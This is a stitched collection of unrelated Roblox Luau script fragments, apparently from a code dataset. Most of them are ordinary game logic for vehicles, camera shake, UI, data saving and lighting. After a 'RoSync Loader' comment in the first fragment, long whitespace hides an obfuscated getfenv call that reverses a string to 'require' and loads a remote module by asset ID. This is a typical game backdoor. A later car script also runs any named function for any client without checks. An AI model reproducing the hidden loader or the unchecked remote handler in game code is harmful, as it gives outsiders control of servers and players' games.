Roblox/luau_corpus huggingface dataset:
-- Decompiled with the Synapse X Luau decompiler.

client = nil;
service = nil;
return function(p1)
	local l__Player__1 = p1.Player;
	local l__Message__2 = p1.Message;
	local l__Title__3 = p1.Title;
	local v4 = client.UI.Make("Window", {
		Name = "PrivateMessage", 
		Title = tostring(l__Player__1), 
		Size = { 300, 150 }
	});
	local v5 = v4:Add("TextLabel", {
		Text = p1.Message, 
		Size = UDim2.new(1, -10, 1, -40), 
		BackgroundTransparency = 1, 
		TextScaled = true, 
		TextWrapped = true
	});
	local u1 = false;
	local l__Player__2 = service.Player;
	local u3 = v4:Add("TextBox", {
		Text = "", 
		PlaceholderText = "Enter reply", 
		Size = UDim2.new(1, -65, 0, 30), 
		Position = UDim2.new(0, 5, 1, -35), 
		ClearTextOnFocus = false, 
		TextScaled = true
	});
	local v6 = {
		Text = "Send", 
		Size = UDim2.new(0, 60, 0, 30), 
		Position = UDim2.new(1, -65, 1, -35)
	};
	local function u4(p2)
		if not u1 then
			u1 = true;
			if p2 then
				v4:Close();
				client.Remote.Send("PrivateMessage", "Reply from " .. l__Player__2.Name, l__Player__1, l__Player__2, u3.Text);
				client.UI.Make("Hint", {
					Message = "Reply sent"
				});
			end;
			u1 = false;
		end;
	end;
	function v6.OnClick()
		u4(true);
	end;
	local v7 = v4:Add("TextButton", v6);
	v7.BackgroundColor3 = v7.BackgroundColor3:lerp(Color3.new(0, 0, 0), 0.1);
	u3.FocusLost:connect(u4);
	local l__gTable__8 = v4.gTable;
	client.UI.Make("Notification", {
		Title = "New Message", 
		Message = "Message from " .. l__Player__1.Name, 
		Time = false, 
		OnClick = function()
			v4:Ready();
		end, 
		OnClose = function()
			v4:Destroy();
		end, 
		OnIgnore = function()
			v4:Destroy();
		end
	});
end;
--[[ Last synced 10/14/2020 09:24 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--//Controller//--
for _, Floaty in pairs(Floaties:GetChildren()) do
	if Floaty:IsA("BasePart") then
		local OrgPos = Floaty.CFrame
		local FloatPos = OrgPos * CFrame.new(
			Random.new():NextNumber(-0.15, 0.15),
			Random.new():NextNumber(0.15, 0.35),
			Random.new():NextNumber(-0.15, 0.15)
			
		) * CFrame.Angles(
			math.rad(Random.new():NextNumber(-3, 3)),
			math.rad(Random.new():NextNumber(-3, 3)),
			math.rad(Random.new():NextNumber(-3, 3))
			
		)
		
		TweenService:Create(
			Floaty,
			TweenInfo.new(
				Random.new():NextNumber(4, 10),
				Enum.EasingStyle.Cubic,
				Enum.EasingDirection.InOut,
				-1,
				true, 0
			),
			{CFrame = FloatPos}
		):Play()
		
	elseif Floaty:IsA("Model") then
		local PrimaryPart = Floaty.PrimaryPart
		
		local OrgPos = PrimaryPart.CFrame
		local FloatPos = OrgPos * CFrame.new(
			Random.new():NextNumber(-0.5, 0.5),
			Random.new():NextNumber(-5, 5),
			Random.new():NextNumber(-0.5, 0.5)

		) * CFrame.Angles(
			math.rad(Random.new():NextNumber(-360, 360)),
			math.rad(Random.new():NextNumber(-360, 360)),
			math.rad(Random.new():NextNumber(-360, 360))

		)
		
		TweenService:Create(
			Floaty.PrimaryPart,
			TweenInfo.new(
				Random.new():NextNumber(10, 15),
				Enum.EasingStyle.Cubic,
				Enum.EasingDirection.InOut,
				-1,
				true, 0
			),
			{CFrame = FloatPos}
		):Play()
	end
end
--WeldRec(P.Parent.Lights)

for _,v in pairs(weldedParts) do
	if v:IsA("BasePart") then
		wait(2)
		v.Anchored = false
	end
end

script:Destroy()
--[[
Data Ekleme ornek (remotevente bagla)
for i,v in pairs(_G.GlobalData) do
				if v.UserId == targ.UserId then
					for i,data in pairs(_G.GlobalData) do
						if data.UserId == target.UserId then
							table.insert(data.Arrests, 1, pushTab) --Arresting officer, arrest reason, jail time, date
						end
			
--]]

local storage = require(script:WaitForChild("Storage"))
--	HitSound:Play()
	ball.Parent = nil
end

function tagHumanoid(humanoid)
	-- todo: make tag expire
	local tag = ball:findFirstChild("creator")
	if tag ~= nil then
		local new_tag = tag:clone()
		new_tag.Parent = humanoid
	end
end


function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

connection = ball.Touched:connect(onTouched)

wait(5)
ball.Parent = nil
--------AUDIENCE BACK LEFT--------

game.Workspace.audiencebackleft1.Part1.BrickColor = BrickColor.new(1023)
game.Workspace.audiencebackleft1.Part2.BrickColor = BrickColor.new(1023)
game.Workspace.audiencebackleft1.Part3.BrickColor = BrickColor.new(1023)
game.Workspace.audiencebackleft1.Part4.BrickColor = BrickColor.new(106)
game.Workspace.audiencebackleft1.Part5.BrickColor = BrickColor.new(106)
game.Workspace.audiencebackleft1.Part6.BrickColor = BrickColor.new(106)
game.Workspace.audiencebackleft1.Part7.BrickColor = BrickColor.new(1013)
game.Workspace.audiencebackleft1.Part8.BrickColor = BrickColor.new(1013)
game.Workspace.audiencebackleft1.Part9.BrickColor = BrickColor.new(1013)
--Thanks for this, Zeph. Hope you don't mind that I essentially stole this :P

local IntWait = 1
local MD = script.Parent.WPR.SS.Motor
local MD2 = script.Parent.WPR2.SS.Motor

script.Parent.Parent.DriveSeat.Wipers.Changed:Connect(function()
	if script.Parent.Parent.DriveSeat.Wipers.Value == true then
		repeat 
			MD.DesiredAngle = -1.51
			MD2.DesiredAngle = -1.51
			script.Parent.WPR.wiper2["Wiper Sound"]:Play()
			wait(IntWait)
			MD.DesiredAngle = 0
			MD2.DesiredAngle = 0					
			wait(IntWait/2)
		until script.Parent.Parent.DriveSeat.Wipers.Value == false 
		MD.DesiredAngle = 0
		MD2.DesiredAngle = 0
		script.Parent.WPR.wiper2["Wiper Sound"]:Stop()
	end
end)
-- Connect prompt events to handling functions
ProximityPromptService.PromptTriggered:Connect(onPromptTriggered)
ProximityPromptService.PromptButtonHoldBegan:Connect(onPromptHoldBegan)
ProximityPromptService.PromptButtonHoldEnded:Connect(onPromptHoldEnded)
--// Handling Settings		
	Firerate = 60 / 200; -- 60 = 1 Minute, 200 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!
	
	FireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
--[[
	Remove the range from the list starting from the index.
]]
function Immutable.RemoveRangeFromList(list, index, count)
	local new = {}

	for i = 1, #list do
		if i < index or i >= index + count then
			table.insert(new, list[i])
		end
	end

	return new
end
--[[
	
	CameraShakePresets.Bump
	CameraShakePresets.Explosion
	CameraShakePresets.Earthquake
	CameraShakePresets.BadTrip
	CameraShakePresets.HandheldCamera
	CameraShakePresets.Vibration
	CameraShakePresets.RoughDriving
	
--]]



local CameraShakeInstance = require(script.Parent.CameraShakeInstance)

local CameraShakePresets = {
	
	
	-- A high-magnitude, short, yet smooth shake.
	-- Should happen once.
	Bump = function()
		local c = CameraShakeInstance.new(2.5, 4, 0.1, 0.35)
		c.PositionInfluence = Vector3.new(0.15, 0.15, 0.15)
		c.RotationInfluence = Vector3.new(1, 1, 1)
		return c
	end;
	
	HandheldCamera = function()
		local c = CameraShakeInstance.new(.1, .1, .1, 0.25)
		c.PositionInfluence = Vector3.new(0,0,0)
		c.RotationInfluence = Vector3.new(0.5, 0.5, 0.5)
		return c
	end;
	
	-- An intense and rough shake.
	-- Should happen once.
	Explosion = function()
		local c = CameraShakeInstance.new(5, 10, 0, 1.5)
		c.PositionInfluence = Vector3.new(0.25, 0.25, 0.25)
		c.RotationInfluence = Vector3.new(4, 1, 1)
		return c
	end;
	
	
	-- A continuous, rough shake
	-- Sustained.
	Earthquake = function()
		local c = CameraShakeInstance.new(0.6, 3.5, 2, 10)
		c.PositionInfluence = Vector3.new(0.25, 0.25, 0.25)
		c.RotationInfluence = Vector3.new(1, 1, 4)
		return c
	end;
	
	
	-- A bizarre shake with a very high magnitude and low roughness.
	-- Sustained.
	BadTrip = function()
		local c = CameraShakeInstance.new(10, 0.15, 5, 10)
		c.PositionInfluence = Vector3.new(0, 0, 0.15)
		c.RotationInfluence = Vector3.new(2, 1, 4)
		return c
	end;
	
	
	-- A subtle, slow shake.
	-- Sustained.
	
	
	-- A very rough, yet low magnitude shake.
	-- Sustained.
	Vibration = function()
		local c = CameraShakeInstance.new(0.4, 20, 2, 2)
		c.PositionInfluence = Vector3.new(0, 0.15, 0)
		c.RotationInfluence = Vector3.new(1.25, 0, 4)
		return c
	end;
	
	
	-- A slightly rough, medium magnitude shake.
	-- Sustained.
	RoughDriving = function()
		local c = CameraShakeInstance.new(1, 2, 1, 1)
		c.PositionInfluence = Vector3.new(0, 0, 0)
		c.RotationInfluence = Vector3.new(1, 1, 1)
		return c
	end;
	
	
}


return setmetatable({}, {
	__index = function(t, i)
		local f = CameraShakePresets[i]
		if (type(f) == "function") then
			return f()
		end
		error("No preset found with index \"" .. i .. "\"")
	end;
})
--[[

	symbol = Symbol.new(id: string [, scope: Symbol])

	Symbol.Is(obj: any): boolean
	Symbol.IsInScope(obj: any, scope: Symbol): boolean

--]]


local CLASSNAME = "Symbol"

local Symbol = {}
Symbol.__index = Symbol


function Symbol.new(id, scope)
	assert(id ~= nil, "Symbol ID cannot be nil")
	if (scope ~= nil) then
		assert(Symbol.Is(scope), "Scope must be a Symbol or nil")
	end
	local self = setmetatable({
		ClassName = CLASSNAME;
		_id = id;
		_scope = scope;
	}, Symbol)
	return self
end


function Symbol.Is(obj)
	return (type(obj) == "table" and getmetatable(obj) == Symbol)
end


function Symbol.IsInScope(obj, scope)
	return (Symbol.Is(obj) and obj._scope == scope)
end


function Symbol:__tostring()
	return ("Symbol<%s>"):format(self._id)
end


return Symbol
--[=[
	Flat map equivalent for brios. The resulting observables will
	be disconnected at the end of the brio.

	@deprecated 3.6.0 -- This method does not wrap the resulting value in a Brio, which can sometimes lead to leaks.
	@param project (value: TBrio) -> TProject
	@param resultSelector ((initial TBrio, value: TProject) -> TResult)?
	@return (source: Observable<Brio<TBrio>> -> Observable<TResult>)
]=]
function RxBrioUtils.flatMap(project, resultSelector)
	assert(type(project) == "function", "Bad project")

	warn("[RxBrioUtils.flatMap] - Deprecated since 3.6.0. Use RxBrioUtils.flatMapBrio")

	return Rx.flatMap(RxBrioUtils.mapBrio(project), resultSelector)
end
-- Called when the client receives a new look-angle
-- value from the server. This is also called continuously
-- on the client to update the player's view with no latency.

function CharacterRealism:OnLookReceive(player, pitch, yaw)
	local character = player.Character
	local rotator = self.Rotators[character]
	
	if rotator then
		rotator.Pitch.Goal = pitch
		rotator.Yaw.Goal = yaw
	end
end
-- Function to save player's data
local function savePlayerData(playerUserId)
	if sessionData[playerUserId] then
		local success,data = pcall(function()
			--NOTE!!! adding this print adds save if remove then save is lost
			print("Money --> before SetAsync ",sessionData[playerUserId]["Money"])
			playerData:SetAsync(playerUserId, sessionData[playerUserId])
			print("Money --> After SetAsync ",sessionData[playerUserId]["Money"])
			wait()
		end)
		if not success then
			warn("Cannot save data for player!-------------------------------------->")
			warn("----------------------savePlayerData----------------------------------------------")
			warn("What is the reason ",data)
		end
	end
end

function PlayerStatManager:getPlayerData(player)
	local playerUserId = "Player_" .. player.UserId
	local succes,data = pcall(function() 
		print("Got player data---------------------->")
		return sessionData[playerUserId]
	end)
	if succes == false then
		warn("ERROR---------PlayerStatManager:getPlayerData----------->")
		print(data)
		return nil
	else
		return data	
	end
	
end 

function PlayerStatManager:getStat(player,statName)
	local succes,data = pcall(function() 
		local playerUserId = "Player_" .. player.UserId
		return sessionData[playerUserId][statName]
	end)
	if succes == false then
		warn("ERROR---------PlayerStatManager:getStat----------->")
		print(data)
		return nil
	else
		return data	
	end
end 

function PlayerStatManager:saveStat(player,statName,value)
	local succes,err = pcall(function() 
		local playerUserId = "Player_" .. player.UserId
		sessionData[playerUserId][statName] = value
	end)
	if succes == false then
		warn("ERROR---------PlayerStatManager:saveStat----------->")
		print(err)
	end
end 

function PlayerStatManager:getStatInTycoonPurchases(player,statName)
	local succes,data = pcall(function() 
		local playerUserId = "Player_" .. player.UserId
		return sessionData[playerUserId]["TycoonPurchases"][statName]
	end)
	if succes == false then
		warn("ERROR---------PlayerStatManager:getTycoonPurchases----------->")
		print(data)
		return nil
	else
		return data	
	end
end 

function PlayerStatManager:setPlayerSessionDataToNil(player)
	if player ~= nil then
		local playerUserId = "Player_" .. player.UserId
		if sessionData[playerUserId] then
			sessionData[playerUserId] = nil
		end
	end
end
-- removes a BezierPoint from the Bezier
function Bezier:RemoveBezierPoint(index: number)
	
	-- check if the point exists
	if self.Points[index] then
		
		-- remove point and remove connections
		local point = table.remove(self.Points, index)
		if typeof(point.Point) == "Instance" and point.Point:IsA("BasePart") then
			for i, connection in pairs(self._connections[point.Point]) do
				if connection.Connected then
					connection:Disconnect()
				end
			end
			self._connections[point.Point] = nil
		end
		
		-- update bezier
		self:UpdateLength()
	end
end
-- Variables
local footstepModule = require(replicatedStorage:WaitForChild("FootstepModule"))
local RunService = game:GetService("RunService")
	
local player = players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")

local rootPart = character:WaitForChild("HumanoidRootPart")
-- Removing an arc from the running system
function System.remove(arc)
	if arcInstances[arc] then
		arcInstances[arc] = nil
		dynamicInstances[arc] = nil
		numInstances = numInstances - 1
		arc.segmentsFolder.Parent = nil
		arc.part.Parent = nil
		updateConnection()
	end
end

return System
--F.updateSound = function(Sound, Pitch, Volume)
--	if Sound then
--		if Pitch then
--			Sound.Pitch = Pitch
--		end
--		if Volume then
--			Sound.Volume = Volume
--		end
--	end
--end

F.updateWindows = function(Window, Toggle)
	if script.Parent.Parent.Windows:findFirstChild(Window) then
		script.Parent.Parent.Windows:findFirstChild(Window).Value = Toggle
	end	
end

F.volumedown = function(VolDown)
	carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume - 1
end

F.volumeup = function(VolUp)
	carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + 1
end

F.fm = function(ok)
	carSeat.Parent.Body.MP.Sound:Stop()
	carSeat.Stations.mood.Value = ok
end

F.updateSong = function(id)
	carSeat.Stations.mood.Value = 5
	carSeat.Parent.Body.MP.Sound:Stop()
	wait()
	carSeat.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..id
	wait()
	carSeat.Parent.Body.MP.Sound:Play()
end

F.pauseSong = function()
	carSeat.Stations.mood.Value = 5
	carSeat.Parent.Body.MP.Sound:Stop()
end

F.updateVolume = function(Vol)
	carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + Vol/5
end

F.updateValue = function(Val, Value)
	if Val then
		Val.Value = Value
	end
end

F.FEInfo = function()
	carSeat.Parent.Body.Dash.Screen.G.Enabled = true
	wait(.1)
	carSeat.Parent.Body.Dash.Screen.G.FE.Visible = true
end

F.delete = function(plr)
	workspace[plr]:FindFirstChildOfClass("Humanoid").Jump = true
	wait(1)
	carSeat.Parent:Destroy()
end

F.PM = function(m,p)
	carSeat.Mode.Value = m
	carSeat.PMult.Value = p
end

F.reverse = function(yes)
	carSeat.Parent.Misc.TK.RV.Material = yes and "Neon" or "SmoothPlastic"
end

F.Dyn = function(h)
	carSeat.Parent.Wheels.FL.Spring.FreeLength = h
	carSeat.Parent.Wheels.FR.Spring.FreeLength = h
	carSeat.Parent.Wheels.RL.Spring.FreeLength = h
	carSeat.Parent.Wheels.RR.Spring.FreeLength = h
end

script.Parent.OnServerEvent:connect(function(Player, Func, ...)
	if F[Func] then
		F[Func](...)
	end
end)
--// # key, ManOn
mouse.KeyDown:connect(function(key)
	if key=="h" then 
		veh.Lightbar.middle.Man:Play()
		veh.Lightbar.middle.Wail.Volume = 0
		veh.Lightbar.middle.Yelp.Volume = 0
		veh.Lightbar.middle.Priority.Volume = 0
		script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(215, 135, 110)
		veh.Lightbar.MANUAL.Transparency = 0
	end
end)
---------------------------
--[[
	--Main anchor point is the DriveSeat <car.DriveSeat>	
	
	Usage:
		MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld"  **Applies to Motor welds only
		ModelWeld(Model,MainPart)
	Example:
		MakeWeld(car.DriveSeat,misc.PassengerSeat)
		MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
		ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here

car.DriveSeat.ChildAdded:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		child.C0=CFrame.new(-1,-.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)
	end
end)
------//Sprinting Animations
self.RightSprint 	= CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0));
self.LeftSprint 	= CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25));

return self
--------RIGHT DOOR --------

game.Workspace.doorright.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
-- Get references to the DockShelf and its children
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local aFinderButton = dockShelf.GClippsly
local opened = aFinderButton.Opened
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent
--[[Super Util]]--
function WaitForChild(parent,child)
	while not parent:FindFirstChild(child) do  wait(1/30) end
	return parent[child]
end

function MakeValue(class,name,value,parent)
	local temp = Instance.new(class)
	temp.Name = name
	temp.Value = value
	temp.Parent = parent
	return temp
end	

function TweenProperty(obj, propName, inita, enda, length)
	local startTime = tick()
	while startTime - tick()<length do
		obj[propName] = (startTime - tick())/length
		wait(1/30)
	end
	obj[propName] = enda	
end
--!nocheck

local Players = game.Players
local RunService = game["Run Service"]
local FootstepsSoundGroup = game.SoundService:WaitForChild("Footsteps")

local SOUND_DATA = {
	Climbing = {
		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
		Looped = true,
	},
	Died = {
		SoundId = "rbxasset://sounds/uuhhh.mp3",
	},
	FreeFalling = {
		SoundId = "rbxasset://sounds/action_falling.mp3",
		Looped = true,
	},
	GettingUp = {
		SoundId = "rbxasset://sounds/action_get_up.mp3",
	},
	Jumping = {
		SoundId = "rbxasset://sounds/action_jump.mp3",
	},
	Landing = {
		SoundId = "rbxasset://sounds/action_jump_land.mp3",
	},
	Running = {
		SoundId = '' ,
		Looped = true,
		Playing = true,
		Pitch = 1,
	},
	Splash = {
		SoundId = "rbxasset://sounds/impact_water.mp3",
	},
	Swimming = {
		SoundId = "rbxasset://sounds/action_swim.mp3",
		Looped = true,
		Pitch = 1.6,
	},
}

 -- wait for the first of the passed signals to fire
local function waitForFirst(...: any): ...any
	local shunt = Instance.new("BindableEvent")
	local slots = {...}

	local function fire(...)
		for i = 1, #slots do
			slots[i]:Disconnect()
		end
		
		task.defer(function()
			shunt:Destroy()
		end)
		
		return shunt:Fire(...)
	end

	for i = 1, #slots do
		slots[i] = slots[i]:Connect(fire)
	end

	return shunt.Event:Wait()
end
-- Public Constructors

function SliderClass.new(sliderFrame, axis)
	local self = setmetatable({}, SliderClass)
	
	self._Maid = Lazy.Utilities.Maid.new()
	self._Spring = Lazy.Utilities.Spring.new(1, 0.1, 1, 0)
	self._Axis = axis or "x"
	self._ChangedBind = Instance.new("BindableEvent")
	self._ClickedBind = Instance.new("BindableEvent")
	
	self.Interval = 0
	self.IsActive = true
	self.TweenClick = true
	self.Inverted = false
	
	self.Frame = sliderFrame
	self.Changed = self._ChangedBind.Event
	self.Clicked = self._ClickedBind.Event
	self.DragStart = nil
	self.DragStop = nil
	
	init(self)
	self:Set(0.5)
	
	return self
end
--this script is gonna make hes parent visible only for mobile users
script.Parent.Visible = false -- makes hes parent invisible for pc players
--[[ Sc 2 ]]--

while true do
	wait(0.1)
	local Ran1 = math.random(1,10)
	if Ran1 == 1 then
		Light.Color = Color3.fromRGB(255,0,0)
		wait(math.random(1,100)/100)
		Light.Color = Color3.fromRGB(0,255,0)
	end
end